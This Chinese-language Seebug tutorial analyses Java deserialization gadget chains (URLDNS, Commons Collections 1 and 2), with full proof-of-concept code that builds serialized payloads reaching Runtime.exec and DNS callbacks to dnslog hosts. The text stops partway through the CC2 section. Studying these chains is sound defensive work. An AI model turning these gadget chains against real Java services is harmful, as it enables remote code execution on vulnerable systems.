作者:p1g3@D0g3
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

本篇將以URLDNS以及Commons Collections系列漏洞作為Java反序列化基礎篇的練習,僅以鞏固對反序列化這類漏洞的理解。

目前已經有很多java反序列化的學習文章供我們學習,所以我算是站在巨人的肩膀上完成了這篇文章,如果有什么錯誤的地方,歡迎指正,感謝。

下文將以yso代替ysoserial,以cc代替Commons Collections進行分析。ysoserial的payload可以通過訪問payloads獲得。

以下描述的鏈中涉及到的class均實現了Serializable,所以均可被反序列化,這點將不再提及。

URLDNS

URLDNS是反序列化時經常會用到的鏈,通常用于快速檢測是否存在反序列化漏洞,原因如下:

  • 只依賴原生類
  • 不限制jdk版本

測試環境:jdk 8u131

利用鏈

 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

利用鏈分析

urldns是yso中較為簡單的一個gadget,所以這里可以直接通過正向分析的方式進行分析。

HashMap#readObject:

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

上面的這些前面一大段暫時先忽略,重點關注putVal這一段,這里調用了hash方法來處理key,跟進hash方法:

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

這里調用了key.hashCode方法,讓我們看看URL的hashCode方法:

URL#hashCode:

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

在URL類的hashCode方法中,又調用了URLStreamHandler#hashCode,并將自身傳遞進去:

URLStreamHandler#hashCode

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);

重點關注這里的getHostAddress,正是這步觸發了dns請求:

-w618

回到第一步:HashMap#readObject

-w559

key是使用readObject取出來的,也就是說在writeObject一定會寫入key:

    private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
        int buckets = capacity();
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();
        s.writeInt(buckets);
        s.writeInt(size);
        internalWriteEntries(s);
    }

跟入internalWriteEntries:

    void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
        Node<K,V>[] tab;
        if (size > 0 && (tab = table) != null) {
            for (int i = 0; i < tab.length; ++i) {
                for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                    s.writeObject(e.key);
                    s.writeObject(e.value);
                }
            }
        }
    }

不難發現,這里的key以及value是從tab中取的,而tab的值即HashMap中table的值。

此時我們如果想要修改table的值,就需要調用HashMap#put方法,而HashMap#put方法中也會對key調用一次hash方法,所以在這里就會產生第一次dns查詢:

HashMap#put:

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
import java.util.HashMap;
import java.net.URL;

public class Test {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
        map.put(url,123); //此時會產生dns查詢
    }

}

我們只想判斷payload在對方機器上是否成功觸發,那該怎么避免掉這一次dns查詢,回到URL#hashCode:

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

這里會先判斷hashCode是否為-1,如果不為-1則直接返回hashCode,也就是說我們只要在put前修改URL的hashCode為其他任意值,就可以在put時不觸發dns查詢。

-w476

這里的hashCode是private修飾的,所以我們需要通過反射來修改其值。

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Test {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); //修改訪問權限
        f.set(url,123); //設置hashCode值為123,這里可以是任何不為-1的數字
        System.out.println(url.hashCode()); // 獲取hashCode的值,驗證是否修改成功
        map.put(url,123); //調用map.put 此時將不會再觸發dns查詢
    }

}

此時輸出url的hashCode為123,證明修改成功。當put完畢之后再將url的hashCode修改為-1,確保在反序列化調用hashCode方法時能夠正常進行,下面是完整的POC:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Test {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://urldns1.eakcmc.ceye.io/");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); // 修改訪問權限
        f.set(url,123); // 設置hashCode值為123,這里可以是任何不為-1的數字
        System.out.println(url.hashCode()); // 獲取hashCode的值,驗證是否修改成功
        map.put(url,123); // 調用map.put 此時將不會再觸發dns查詢
        f.set(url,-1); // 將url的hashCode重新設置為-1。確保在反序列化時能夠成功觸發

        try{
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

}

回過頭來看看yso的payload:

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

yso在創建URL對象時使用了三個參數的構造方法。這里比較有意思的是,yso用了子類繼承父類的方式規避了dns查詢的風險,其創建了一個內部類:

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

定義了一個URLConnection和getHostAddress方法,當調用put方法走到getHostAddress方法后,會調用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress,這里直接return null了,所以自然也就不會產生dns查詢。

那么為什么在反序列化時又可以產生dns查詢了呢?是因為這里的handler屬性被設置為transient,前面說了被transient修飾的變量無法被序列化,所以最終反序列化讀取出來的transient依舊是其初始值,也就是URLStreamHandler。

這也就解釋了為什么反序列化后獲取的handler并不是前面設置的SilentURLStreamHandler了。

兩種方法都可以規避在put時造成的dns查詢,前者比較簡單且思路清晰,后者比較麻煩但同時也比較炫一些。當然,這里也可以直接不用HashMap#put方法來設置table,可以通過反射的方式來設置table,但是相對而言十分麻煩,所以并沒有使用。

最終。我認為yso中寫的利用鏈并不詳細,我認為的利用鏈應該是這樣的:

HashMap#readObject
    HashMap#hash
        URL#hashCode
        URLStreamHandler#hashCode
        URLStreamHandler#getHostAddress

在JDK7中也是一樣的,HashMap#readObject中最后調的方法改了一下:

-w502

但是實際上還是會觸發hash方法:

-w485

最終還是會調用到URL#hashCode:

-w554

Commons Collections

Apache Commons是Apache軟件基金會的項目,曾經隸屬于Jakarta項目。Commons的目的是提供可重用的、解決各種實際的通用問題且開源的Java代碼。Commons由三部分組成:Proper(是一些已發布的項目)、Sandbox(是一些正在開發的項目)和Dormant(是一些剛啟動或者已經停止維護的項目)。

Commons Collections包為Java標準的Collections API提供了相當好的補充。在此基礎上對其常用的數據結構操作進行了很好的封裝、抽象和補充。讓我們在開發應用程序的過程中,既保證了性能,同時也能大大簡化代碼。

由于大量的生產環境中都會導入這個包,所以此包中的眾多反序列化鏈已經成為經典鏈條,本篇將對cc1-7的鏈進行梳理和總結,以加深對java反序列化的理解。

環境搭建

在這里統一使用maven來導包,比較方便也比較快捷。

先按照網上的安裝和配置好maven(創建本地倉庫和選擇遠程倉庫等),接著使用idea->create new project->maven。

之后要導包的話修改pom.xml即可,比如我這里要導一個cc3.1,只需要添加以下內容:

 <dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
  </dependencies>

之后右側會出現一個類似的更新按鈕:

-w973

點擊后即可實現自動導包,十分方便和快捷。導包完成之后左側就可以看到成功導入的包了:

-w1440

如果要修改jdk的話,需要改兩個點,一個是編譯用的jdk,一個是導包用的jdk。

第一個點可以在這里修改,首先新建一個maven的編譯環境:

-w1071

之后改jdk可以在runner這里改:

-w736

第二個導包的jdk可以從File->Project Structure->Modules->Dependencies這里修改:

-w532

CommonsCollections 1

測試環境:

  • JDK 1.7
  • Commons Collections 3.1

利用鏈

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

動態代理

在cc1的前半部分鏈中用到了這里的知識,記錄一下。

舉一個簡單的例子,供貨商發貨給超市,我們去超市買東西。

此時超市就相當于一個代理,我們可以直接去供貨商買東西,但沒多少人會這么做。

在Java中的代理模式也是一樣,我們需要定義一個接口,這個接口不可以直接被實例化,需要通過類去實現這個接口,才可以實現對這個接口中方法的調用。

而動態代理實現了不需要中間商(類),直接“創建”某個接口的實例,對其方法進行調用。

當我們調用某個動態代理對象的方法時,都會觸發代理類的invoke方法,并傳遞對應的內容。

Demo:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
    public static void main(String[] args){
            InvocationHandler handler = new InvocationHandler() {
                public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                    System.out.println(method);
                    if (method.getName().equals("morning")) {
                        System.out.println("Good morning, " + args[0]);
                    }
                    return null;
                }
            };

            Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
            hello.morning("liming");



    }
}

Hello.java:

public interface Hello {
    void morning(String name);
}

這里首先定義了一個handler,通過其實現對某個類接口的調用。

接著定義了一個代理對象Hello,需要傳遞三個參數分別為ClassLoader、要代理的接口數組以及調用接口時觸發的對應方法。

此時我調用hello.morning,就會觸發handler的invoke方法,并傳遞三個參數進去,分別為proxy即代理對象,method即調用的方法的Method對象,args即傳遞的參數。

所有的handler都需要實現InvocationHandler這個接口,并實現其invoke方法來實現對接口的調用。

利用鏈分析

先對后半段鏈進行分析。在commons collections中有一個Transformer接口,其中包含一個transform方法,通過實現此接口來達到類型轉換的目的。

-w581

其中有眾多類實現了此接口,cc中主要利用到了以下三個。

  • InvokerTransformer

其transform方法實現了通過反射來調用某方法:

-w885

  • ConstantTransformer

其transform方法將輸入原封不動的返回:

-w1003

  • ChainedTransformer

其transform方法實現了對每個傳入的transformer都調用其transform方法,并將結果作為下一次的輸入傳遞進去:

-w634

-w855

由這三個transformer組合起來,即可實現任意命令執行:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class cc1 {

     public static void main(String[] args){
          ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                  new ConstantTransformer(Runtime.class),
                  new InvokerTransformer("getMethod", new Class[] {
                          String.class, Class[].class }, new Object[] {
                          "getRuntime", new Class[0] }),
                  new InvokerTransformer("invoke", new Class[] {
                          Object.class, Object[].class }, new Object[] {
                          null, new Object[0] }),
                  new InvokerTransformer("exec",
                          new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
          chain.transform(123);
     }
}

先說下這個反射鏈是如何構成的,先看InvokerTransformer的transform方法:

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);

這里接收了一個Object,并調用這個Object方法,方法名、方法所需要的參數類型、方法所需要的參數這三個都是我們可以控制的。

所以我們可以直接通過這里來命令執行:

Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app"});
invoketransformer.transform(runtime);

這就需要一個條件,在調用transform方法的時候,需要傳遞一個Runtime.getRuntime(),這幾乎是不可能的,沒有人會在反序列化后調用transform方法還傳遞一個Runtime的實例進去。我們需要把攻擊所需要的條件盡可能的縮小,實現在反序列化時就能夠rce,所以需要想辦法把傳遞Runtime.getRuntime()這一條件給去掉。接著就找到了ConstantTransformer這個類。

上面說了,其transform方法是將輸入的Object原封不動的返回回去,那么我們是不是可以嘗試這么搭配:

Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app"});
invoketransformer.transform(constantTransformer);

上述代碼搭配ChainedTransformer是這樣的:

     public void test(){
          ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                  new ConstantTransformer(Runtime.getRuntime()),
                  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open  /System/Applications/Calculator.app"})

          });
          chain.transform(123);
     }

此時只要ChainedTransformer反序列化后調用transform方法并傳遞任意內容即可實現rce,但是當嘗試去序列化的時候,發生了一個問題:

-w941

因為這里的Runtime.getRuntime()返回的是一個Runtime的實例,而Runtime并沒有繼承Serializable,所以這里會序列化失敗。

那么我們就需要找到一個方法來獲取到Runtime.getRuntime()返回的結果,并將其傳入invoketransformer的transform方法中。這就有了上邊那條鏈。

-w874

這里通過InvokerTransformer來實現了一次反射,即通過反射來反射,先是調用getMethod方法獲取了getRuntime這個Method對象,接著又通過Invoke獲取getRuntime的執行結果。

這里我一開始看Class[].class以及new Class[0]十分懵逼,不明白到底是為什么,后邊經過幾位師傅的指導終于理解了。我們這里嘗試通過反射去調用getMethod方法,而getMethod的定義如下:

-w903

這里需要傳入一個name也就是要調用的方法名,接著需要傳遞一個可變參數,所以這里的Class[].class,其實就是對應著這里的可變參數,即使我們不需要傳遞參數,也需要在這里加一個Class[].class,后邊再加一個new Class[0]起到占位的作用。

梳理一下現在已經構造好的鏈:

          ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                  new ConstantTransformer(Runtime.class),
                  new InvokerTransformer("getMethod", new Class[] {
                          String.class, Class[].class }, new Object[] {
                          "getRuntime", new Class[0] }),
                  new InvokerTransformer("invoke", new Class[] {
                          Object.class, Object[].class }, new Object[] {
                          null, new Object[0] }),
                  new InvokerTransformer("exec",
                          new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
          chain.transform(123);

目前已經構造到只需要反序列化后調用transform方法,并傳遞任意內容即可rce。我們的目的是在調用readObject的時候就觸發rce,也就是說我們現在需要找到一個點調用了transform方法(如果能找到在readObject后就調用那是最好的),如果找不到在readObject里調用transform方法,那么就需要找到一條鏈,在readObject觸發起點,接著一步步調用到了transform方法。

cc1里用的是Lazymap#get這個方法:

-w611

如果這里的this.factory可控,那么我們就可以通過LazyMap來延長我們的鏈,下一步就是找哪里調用了get方法了。

protected final Transformer factory;

這里的factory并沒有被transient以及static關鍵字修飾,所以是我們可控的,并且由于factory是在類初始化時定義的,所以我們可以通過創建LazyMap實例的方式來設置他的值。

-w652

但是這里的構造方法并不是public的,所以需要通過反射的方式來獲取到這個構造方法,再創建其實例。

     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
          ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                  new ConstantTransformer(Runtime.class),
                  new InvokerTransformer("getMethod", new Class[] {
                          String.class, Class[].class }, new Object[] {
                          "getRuntime", new Class[0] }),
                  new InvokerTransformer("invoke", new Class[] {
                          Object.class, Object[].class }, new Object[] {
                          null, new Object[0] }),
                  new InvokerTransformer("exec",
                          new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
          HashMap innermap = new HashMap();
          Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
          Constructor[] constructors = clazz.getDeclaredConstructors();
          Constructor constructor = constructors[0];
          constructor.setAccessible(true);
          LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
          map.get(123);
     }

接著我們需要找到某個地方調用了get方法,并且傳遞了任意值。通過學習了上邊動態代理的知識,我們可以開始分析cc1的前半段鏈了。

入口時AnnotationInvocationHandler的readObject:

-w838

這里的readObject又調用了this.memberValues的entrySet方法。如果這里的memberValues是個代理類,那么就會調用memberValues對應handler的invoke方法,cc1中將handler設置為AnnotationInvocationHandler(其實現了InvocationHandler,所以可以被設置為代理類的handler)。

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);

這里對this.memberValues調用了get方法,如果此時this.memberValues為我們的map,那么就會觸發LazyMap#get,從而完成觸發rce。

完整POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

     public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
          ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                  new ConstantTransformer(Runtime.class),
                  new InvokerTransformer("getMethod", new Class[] {
                          String.class, Class[].class }, new Object[] {
                          "getRuntime", new Class[0] }),
                  new InvokerTransformer("invoke", new Class[] {
                          Object.class, Object[].class }, new Object[] {
                          null, new Object[0] }),
                  new InvokerTransformer("exec",
                          new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
          HashMap innermap = new HashMap();
          Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
          Constructor[] constructors = clazz.getDeclaredConstructors();
          Constructor constructor = constructors[0];
          constructor.setAccessible(true);
          Map map = (Map)constructor.newInstance(innermap,chain);


          Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
          handler_constructor.setAccessible(true);
          InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //創建第一個代理的handler

          Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //創建proxy對象


          Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
          AnnotationInvocationHandler_Constructor.setAccessible(true);
          InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

          try{
               ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
               outputStream.writeObject(handler);
               outputStream.close();

               ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
               inputStream.readObject();
          }catch(Exception e){
               e.printStackTrace();
          }

     }
}

分析一下利用過程:

在readObject時,會觸發AnnotationInvocationHandler#readObject方法:

-w844

此時調用了this.memberValues.entrySet,而this.memberValues是之前構造好的proxy_map,由于這是一個代理對象,所以調用其方法時,會去調用其創建代理時設置的handler的invoke方法。

-w853

這個proxy_map設置的handler為這個map_handler,同樣是InvocationHandler這個類,接著會調用他的invoke方法:

-w705

InvocationHandler#invoke的78行代碼中調用了this.memberValues#get,此時的this.memberValues為之前設置好的lazymap,所以這里調用的是lazymap#get,從而觸發后邊的rce鏈。

這里還是比較繞的,因為設置了兩個handler,但是第一個handler是為了觸發lazymap#get,而第二個handler實際上只是為了觸發代理類所設置handler的invoke方法。

接著解釋一些細節的問題:

1.為什么這里要用反射的方式來創建AnnotationInvocationHandler的實例?

因為AnnotationInvocationHandler并不是public類,所以無法直接通過new的方式來創建其實例。

-w929

2.為什么創建其實例時傳入的第一個參數是Override.class?

因為在創建實例的時候對傳入的第一個參數調用了isAnnotation方法來判斷其是否為注解類:

-w929

    public boolean isAnnotation() {
        return (getModifiers() & ANNOTATION) != 0;
    }

而Override.class正是java自帶的一個注解類:

-w989

所以這里可以直接用上,當然要是換成其他注解類也是ok的。

后話

創建lazymap那里其實并不需要用到反射,因為lazymap自帶了一個方法來幫助我們創建其實例:

-w896

所以把上述通過反射來創建LazyMap的實例代碼改為如下,也是可以成功的:

  HashMap innermap = new HashMap();
  LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

CommonsCollections 2

測試環境:

  • JDK 1.7
  • Commons Collections 4.0
  • javassit

maven:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>

利用鏈

        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

javassit

cc2中用到了這塊知識,在這里記錄一下。

導包:

<dependency>
  <groupId>org.javassist</groupId>
  <artifactId>javassist</artifactId>
  <version>3.25.0-GA</version>
</dependency>

.java文件需要編譯成.class文件后才能正常運行,而javassit是用于對生成的class文件進行修改,或以完全手動的方式,生成一個class文件。

Demo:

import javassist.*;

public class javassit_test {
    public static void createPseson() throws Exception {
        ClassPool pool = ClassPool.getDefault();

        // 1. 創建一個空類
        CtClass cc = pool.makeClass("Person");

        // 2. 新增一個字段 private String name;
        // 字段名為name
        CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
        // 訪問級別是 private
        param.setModifiers(Modifier.PRIVATE);
        // 初始值是 "xiaoming"
        cc.addField(param, CtField.Initializer.constant("xiaoming"));

        // 3. 生成 getter、setter 方法
        cc.addMethod(CtNewMethod.setter("setName", param));
        cc.addMethod(CtNewMethod.getter("getName", param));

        // 4. 添加無參的構造函數
        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
        cons.setBody("{name = \"xiaohong\";}");
        cc.addConstructor(cons);

        // 5. 添加有參的構造函數
        cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
        // $0=this / $1,$2,$3... 代表方法參數
        cons.setBody("{$0.name = $1;}");
        cc.addConstructor(cons);

        // 6. 創建一個名為printName方法,無參數,無返回值,輸出name值
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
        ctMethod.setModifiers(Modifier.PUBLIC);
        ctMethod.setBody("{System.out.println(name);}");
        cc.addMethod(ctMethod);

        //這里會將這個創建的類對象編譯為.class文件
        cc.writeFile("./");
    }

    public static void main(String[] args) {
        try {
            createPseson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

上面的代碼生成的class文件是這樣的:

-w591

通過代碼結合生成的class來理解就好了,十分簡單。

利用鏈分析

后半段鏈和cc1差不多,所以這里可以正向分析,從readObject來學習整條鏈。

PriorityQueue#readObject:

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

這里的queue[i]的值是由readObject得到的,也就是說在writeObject處寫入了對應的內容:

    private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException{
        // Write out element count, and any hidden stuff
        s.defaultWriteObject();

        // Write out array length, for compatibility with 1.5 version
        s.writeInt(Math.max(2, size + 1));

        // Write out all elements in the "proper order".
        for (int i = 0; i < size; i++)
            s.writeObject(queue[i]);
    }

也就是說我們可以通過反射來設置queue[i]的值來達到控制queue[i]內容的目的。

在readObject處調用了heapify:

這里的queue[i]是我們可控的。

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

siftDown:

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

這里的x是我們可控的,跟入第一個siftDownUsingComparator:

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

重點:

comparator.compare(x, (E) c)

這里的x是我們可控的,cc2中使用了TransformingComparator#compare來觸發后續鏈,看一下這個方法:

-w562

可以發現,這里對this.transformer調用了transform方法,如果這個this.transformer可控的話,就可以觸發cc1中的后半段鏈。

-w906

從上圖可以看出,this.transformer并沒有被static或transient修飾,所以是我們可控的。

構造POC:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }


}

這個poc延用了cc1的后半段鏈,直接在最后觸發了ChainedTransformer#transform方法導致rce。但是cc2在yso中的poc并不是這個,而是用到了一個新的點TemplatesImpl。

  • 一些細節的問題

1.為什么這里要put兩個值進去?

-w719

這里往queue中put兩個值,是為了讓其size>1,只有size>1才能使的i>0,才能進入siftDown這個方法中,完成后面的鏈。

2.這里為什么要在add之后才通過反射修改comparator的值?

-w368

add調用了offer方法:

-w480

offer方法中調用了siftUp方法:

-w465

這里需要保證comparator的值為null,才能夠正常的添加元素進queue,如果我們在add之前使comparator為我們構造好的TransformingComparator,就會報這么一個錯誤:

-w1159

我們回過頭來看看javassit:

import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
